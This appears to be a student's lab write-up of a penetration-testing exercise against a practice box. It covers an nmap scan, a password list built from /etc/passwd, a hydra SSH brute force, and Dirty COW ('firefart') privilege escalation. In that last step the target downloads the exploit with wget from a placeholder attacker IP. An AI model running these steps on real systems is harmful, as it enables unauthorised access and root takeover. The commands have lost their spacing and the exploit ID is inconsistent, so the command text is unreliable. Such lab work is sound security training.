During this activity we did active recon on the cupcake box and then used nmap and the shell-shock vulnerability to gain access to the samwise user. Then use metasploit to access root privileges.
Deliverable 1. Provide a screenshot of your team's version detection scan(s).
sudonmap-pT:1-100-sV10.0.5.23-O
Deliverable 2. Examine any applications that are publicly accessible. What did you find?
OpenSSH and Apache
Deliverable 3. You should have the versions of at least two applications. Go ahead and hit the internet and see if your group can find:
The operating system (this is easy) and the
OS: CentOS
release (a bit harder).
Release: CentOS6 or CentOS7
What did you find and how did you find it? Be prepared to share your findings with the rest of the class.
Finding: Was just googling what versions of CentOS run on linux Kernel versions 2.6.X to 3.X
Deliverable 4. Provide a screenshot similar to the one below that shows your exported googlesheet of nmap scan data against cupcake. Note, the scan in the demo did not show version detection. See if you can figure out how to do that. You will have at least two ports.
Deliverable 6. Using the following screenshot as a point of departure. Determine what the target's running kernel version (you would use the uname command for this). Provide a screenshot that shows the major and minor release of the kernel.
Deliverable 8. Armed with the contents of /etc/passwd, let's see if we can build a list of likely passwords for the target account. You should end up with 28 passwords in your list. Provide a screenshot that shows how you generated the list as well as the list contents.
I generated the lists using the commands below
My thoughts are it will either be the name of the user or a password that contains LOTR. This is because the user was samwise which is one of the LOTR characters.
Deliverable 9. Show a screenshot of your hydra session as well as a ssh login session using the targeted account. Also dump the contents of user-flag.txt using cat or more.
Deliverable 10. Provide a screenshot that shows the results of the id command as well as the contents of root-flag.txt similar to the one below.
Kali box steps for using Firefart Metasploit (40839)
searchsploit-m49839python3-mhttp.server8086
Target steps
cd~mkdirtmpcdtmpwgethttp://<kali-box-ip>:8086/49839.cgcc49839.c-ocow-lpthread-lcrypt<Prmopt for password><Elevate to firefart>mv/tmp/passwd.bak/etc/passwd